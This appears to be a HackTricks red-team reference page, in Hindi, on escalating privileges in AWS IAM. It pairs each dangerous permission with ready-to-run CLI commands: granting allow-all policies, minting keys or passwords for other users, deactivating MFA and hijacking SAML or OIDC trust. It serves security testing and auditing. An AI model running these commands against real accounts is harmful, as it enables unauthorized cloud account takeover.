AWS - IAM Privesc

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

IAM

IAM के बारे में अधिक जानकारी के लिए देखें:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

एक नए IAM नीति संस्करण को बनाने की क्षमता प्रदान करता है, iam:SetDefaultPolicyVersion अनुमति की आवश्यकता को बायपास करते हुए --set-as-default ध्वज का उपयोग करके। यह कस्टम अनुमतियों को परिभाषित करने की अनुमति देता है।

Exploit Command:

bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

प्रभाव: किसी भी संसाधन पर किसी भी क्रिया की अनुमति देकर सीधे विशेषाधिकार बढ़ाता है।

iam:SetDefaultPolicyVersion

IAM नीति के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूदा संस्करण में बदलने की अनुमति देता है, यदि नए संस्करण में अधिक अनुमतियाँ हैं तो विशेषाधिकार बढ़ाने की संभावना है।

Bash कमांड:

bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

प्रभाव: अधिक अनुमतियों को सक्षम करके अप्रत्यक्ष विशेषाधिकार वृद्धि।

iam:CreateAccessKey

किसी अन्य उपयोगकर्ता के लिए एक्सेस कुंजी आईडी और गुप्त एक्सेस कुंजी बनाने की अनुमति देता है, जिससे संभावित विशेषाधिकार वृद्धि हो सकती है।

शोषण:

bash
aws iam create-access-key --user-name <target_user>

प्रभाव: किसी अन्य उपयोगकर्ता की विस्तारित अनुमतियों को ग्रहण करके सीधे विशेषाधिकार वृद्धि।

iam:CreateLoginProfile | iam:UpdateLoginProfile

लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS कंसोल लॉगिन के लिए पासवर्ड सेट करना शामिल है, जो सीधे विशेषाधिकार वृद्धि की ओर ले जाता है।

निर्माण के लिए शोषण:

bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

अपडेट के लिए शोषण:

bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

प्रभाव: "किसी भी" उपयोगकर्ता के रूप में लॉग इन करके सीधे विशेषाधिकार वृद्धि।

iam:UpdateAccessKey

एक अक्षम एक्सेस कुंजी को सक्षम करने की अनुमति देता है, यदि हमलावर के पास अक्षम कुंजी है तो यह अनधिकृत पहुंच की संभावना पैदा कर सकता है।

शोषण:

bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

प्रभाव: एक्सेस कीज़ को फिर से सक्रिय करके सीधे विशेषाधिकार वृद्धि।

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

विशिष्ट AWS सेवाओं (जैसे, CodeCommit, Amazon Keyspaces) के लिए क्रेडेंशियल बनाने या रीसेट करने की अनुमति देता है, संबंधित उपयोगकर्ता के अनुमतियों को विरासत में लेते हुए।

निर्माण के लिए शोषण:

bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>

रीसेट के लिए शोषण:

bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

प्रभाव: उपयोगकर्ता की सेवा अनुमतियों के भीतर सीधे विशेषाधिकार वृद्धि।

iam:AttachUserPolicy || iam:AttachGroupPolicy

उपयोगकर्ताओं या समूहों को नीतियों को संलग्न करने की अनुमति देता है, संलग्न नीति की अनुमतियों को विरासत में लेकर सीधे विशेषाधिकार बढ़ाता है।

उपयोगकर्ता के लिए शोषण:

bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

समूह के लिए शोषण:

bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

प्रभाव: नीति द्वारा प्रदान की गई किसी भी चीज़ पर सीधे विशेषाधिकार वृद्धि।

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

भूमिकाओं, उपयोगकर्ताओं, या समूहों पर नीतियों को संलग्न करने या रखने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ प्रदान करके सीधे विशेषाधिकार वृद्धि संभव होती है।

भूमिका के लिए शोषण:

bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

इनलाइन नीतियों के लिए शोषण:

bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

आप एक नीति का उपयोग कर सकते हैं जैसे:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

प्रभाव: नीतियों के माध्यम से अनुमतियों को जोड़कर सीधे विशेषाधिकार वृद्धि।

iam:AddUserToGroup

IAM समूह में स्वयं को जोड़ने की अनुमति देता है, समूह की अनुमतियों को विरासत में लेकर विशेषाधिकार बढ़ाता है।

शोषण:

bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>

प्रभाव: समूह की अनुमतियों के स्तर तक सीधे विशेषाधिकार वृद्धि।

iam:UpdateAssumeRolePolicy

एक भूमिका के असुमे भूमिका नीति दस्तावेज़ को बदलने की अनुमति देता है, भूमिका और इसके संबंधित अनुमतियों के अधिग्रहण को सक्षम बनाता है।

शोषण:

bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

जहाँ नीति निम्नलिखित की तरह दिखती है, जो उपयोगकर्ता को भूमिका ग्रहण करने की अनुमति देती है:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

प्रभाव: किसी भी भूमिका की अनुमतियों को ग्रहण करके सीधे विशेषाधिकार वृद्धि।

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

कोडकमिट के लिए प्रमाणीकरण के लिए SSH सार्वजनिक कुंजी अपलोड करने और MFA उपकरणों को निष्क्रिय करने की अनुमति देता है, जिससे संभावित अप्रत्यक्ष विशेषाधिकार वृद्धि हो सकती है।

SSH कुंजी अपलोड के लिए शोषण:

bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

MFA निष्क्रियकरण के लिए शोषण:

bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

प्रभाव: कोडकमिट एक्सेस सक्षम करके या MFA सुरक्षा को निष्क्रिय करके अप्रत्यक्ष विशेषाधिकार वृद्धि।

iam:ResyncMFADevice

MFA डिवाइस के पुनर्संक्रमण की अनुमति देता है, जो संभावित रूप से MFA सुरक्षा में हेरफेर करके अप्रत्यक्ष विशेषाधिकार वृद्धि की ओर ले जा सकता है।

बाश कमांड:

bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

प्रभाव: MFA उपकरणों को जोड़ने या हेरफेर करके अप्रत्यक्ष विशेषाधिकार वृद्धि।

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

इन अनुमतियों के साथ आप SAML कनेक्शन के XML मेटाडेटा को बदल सकते हैं। फिर, आप SAML संघ का दुरुपयोग करके किसी भी भूमिका के साथ लॉगिन कर सकते हैं जो इसे विश्वास करती है।

ध्यान दें कि ऐसा करने पर वैध उपयोगकर्ता लॉगिन नहीं कर पाएंगे। हालाँकि, आप XML प्राप्त कर सकते हैं, इसलिए आप अपना डाल सकते हैं, लॉगिन कर सकते हैं और पिछले को फिर से कॉन्फ़िगर कर सकते हैं।

bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

note

TODO: एक उपकरण जो SAML मेटाडेटा उत्पन्न करने और निर्दिष्ट भूमिका के साथ लॉगिन करने में सक्षम हो

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(इस बारे में अनिश्चित) यदि एक हमलावर के पास ये अनुमतियाँ हैं, तो वह सभी भूमिकाओं में लॉगिन करने के लिए प्रदाता पर भरोसा करने वाले नए थंबप्रिंट को जोड़ सकता है।

bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें